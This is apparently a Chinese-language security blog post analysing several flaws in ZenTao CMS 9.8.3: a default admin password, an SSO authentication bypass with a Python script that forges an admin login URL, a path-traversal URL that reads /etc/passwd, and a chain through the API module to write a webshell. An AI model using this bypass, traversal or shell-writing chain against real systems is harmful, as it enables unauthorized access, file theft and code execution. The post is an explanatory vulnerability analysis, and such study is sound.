禅道cms几处漏洞分析

0x01 前言

平时不好好学习的结果就是到学期末所有的事情都堆到一起,上博客一看,又将近两个月没更新了,抓紧出两篇刷刷存在感。。。近期跟禅道这个cms打了几次交道,从中学到了几个很骚的思路,在这里记录一下。

0x02 漏洞

测试环境使用当前开源版的最新版本9.8.3:http://www.zentao.net/download/80072.html

2.1 登陆后台

由于禅道几乎所有的操作都需要登陆后台,所以我们第一步就是要获取后台权限,这里有几个方法。

2.1.1 后台弱口令

禅道后台管理员admin的密码默认为123456,但是登陆后台后如果检测到密码强度过低的话,所有页面都会重定向到改密码的页面,强制修改密码,否则无法进行其他操作。

2.1.2 9.2.1版本一处前台注入

柠檬师傅的详细分析在这里,不班门弄斧了。

2.1.3 sso单点登陆

这是比较骚的一个思路,可以不用登陆直接获取admin权限。

module/sso/control.php

public function login($type = 'notify')
{
        $referer = empty($_GET['referer']) ? '' : $this->get->referer;
        $locate  = empty($referer) ? getWebRoot() : base64_decode($referer);

        $this->app->loadConfig('sso');
        if(!$this->config->sso->turnon) die($this->locate($locate));

        $userIP = $this->server->remote_addr;  //用户ip
        $code   = $this->config->sso->code; //数据库中获取
        $key    = $this->config->sso->key; //数据库中获取
        /*省略部分*/

        if($this->get->status == 'success' and md5($this->get->data) == $this->get->md5)
        {
            $last = $this->server->request_time;
            $data = json_decode(base64_decode($this->get->data));

            $token = $data->token;
            if($data->auth == md5($code . $userIP . $token . $key))
            {
                $user = $this->sso->getBindUser($data->account);
                if(!$user)
                {
                    $this->session->set('ssoData', $data);
                    $this->locate($this->createLink('sso', 'bind', "referer=" . helper::safe64Encode($locate)));
                }

                if($this->loadModel('user')->isLogon())
                {
                    if($this->session->user && $this->session->user->account == $user->account) die($this->locate($locate));
                }

                $this->user->cleanLocked($user->account);
                /* Authorize him and save to session.  这里是重点*/
                /*省略部分*/
            }
        }
        $this->locate($this->createLink('user', 'login', empty($referer) ? '' : "referer=$referer"));
}

这里有几步验证,一步一步看。

  1. 需要status参数为success,并且data参数的md5值要与md5参数相同。
  2. data进行base64解码和json_decode之后,auth需要与md5($code . $userIP . $token . $key)相同。

这里code、key在数据库中,是一个默认值,一般不会修改。token是data的元素,可控。

接下来就是绑定用户,验证,把认证信息存入session。附上生成url的代码,会更直观一点。

import hashlib
import base64
import json

def md5(str):
    md5 = hashlib.md5()
    md5.update(str.encode('utf-8'))
    return md5.hexdigest()

auth = md5('T6C5mypd2ZchLK0vAN9oz4YqP' + '192.168.250.1' + '' + 'vyoQHt5r8MD6bPksSwGmcd3gz')
data = base64.b64encode(json.dumps({"token":"","auth":auth,"account":"admin"}))
login_url = 'http://192.168.250.133:8000/www/index.php?m=sso&f=login&type=return&aHR0cDovL2hhY2tlZC5sb2wv&data=%s&status=success&md5=%s&' % (data, md5(data))
print(login_url)

2.2 任意文件读取

module/editor/control.php

public function edit($filePath = '', $action = '', $isExtends = '')
{
    $this->view->safeFilePath = $filePath;
    $fileContent  = '';
    if($filePath)
    {
        $filePath = helper::safe64Decode($filePath);
        if(strpos(strtolower($filePath), strtolower($this->app->getBasePath())) !== 0) die($this->lang->editor->editFileError);
        if($action == 'extendOther' and file_exists($filePath))
        {
            $this->view->showContent = htmlspecialchars(file_get_contents($filePath));
        }
        if($action == 'edit' or $action == 'override')
        {
            if(file_exists($filePath))
            {
                $fileContent = file_get_contents($filePath);
                if($action == 'override')
                {
                    $fileContent = str_replace('../../', '../../../', $fileContent);
                    $fileContent = str_replace(array('\'./', '"./'), array('\'../../view/', '"../../view'), $fileContent);
                }
            }
            else
            {
                $filePath = '';
            }
        }
        /*省略*/
    }
    $this->view->fileContent = $fileContent;
    $this->view->filePath    = $filePath;
    $this->view->action      = $action;
    $this->display();
}

首先将filePath进行base64解码,然后做了一个判断。

if(strpos(strtolower($filePath), strtolower($this->app->getBasePath())) !== 0) die($this->lang->editor->editFileError);

这里的$this->app->getBasePath()就是程序的根目录,如何获取到呢?

只要访问index.php?m=editor&f=edit,输入任意内容然后保存,弹出的警告就会暴露根目录。

mark

我们只要保证filePath里有程序的根目录,比如这里的/opt/zbox/app/zentao,然后再用../跳出来即可。

之后就没有任何过滤了,访问http://192.168.250.133:8000/zentao/index.php?m=editor&f=edit&filePath=L29wdC96Ym94L2FwcC96ZW50YW8vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&action=edit

mark

2.3 GetShell

module/api/control.php

public function getModel($moduleName, $methodName, $params = '')
{
    $params    = explode(',', $params);
    $newParams = array_shift($params);
    foreach($params as $param)
    {
        $sign = strpos($param, '=') !== false ? '&' : ',';
        $newParams .= $sign . $param;
    }

    parse_str($newParams, $params);
    $module = $this->loadModel($moduleName);
    $result = call_user_func_array(array(&$module, $methodName), $params);
    if(dao::isError()) die(json_encode(dao::getError()));
    $output['status'] = $result ? 'success' : 'fail';
    $output['data']   = json_encode($result);
    $output['md5']    = md5($output['data']);
    $this->output     = json_encode($output);
    die($this->output);
}

这里调用了call_user_func_array函数,模块、方法、参数都是可控的,接下的任务就是找一个可以写文件的函数。

module/editor/model.php

public function save($filePath)
{
    $fileContent = $this->post->fileContent;
    $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
    $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
    $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
    if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

    $dirPath = dirname($filePath);
    $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
    if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
    if(is_writable($dirPath))
    {
        file_put_contents($filePath, $fileContent);
    }
    else
    {
        die(js::alert($this->lang->editor->notWritable . $extFilePath));
    }
}

可以看到这里做了一些过滤,但是并不影响写shell。

这里有几个可写目录,一个是zentao/tmp,还有一个zentao/www/data,有的网站会配置直接访问www目录,上一级是访问不到的,所以最好将shell写入data或者其子目录中。

mark

0x04 参考文章

从SQL注入到Getshell:记一次禅道系统的渗透

标签: php, 禅道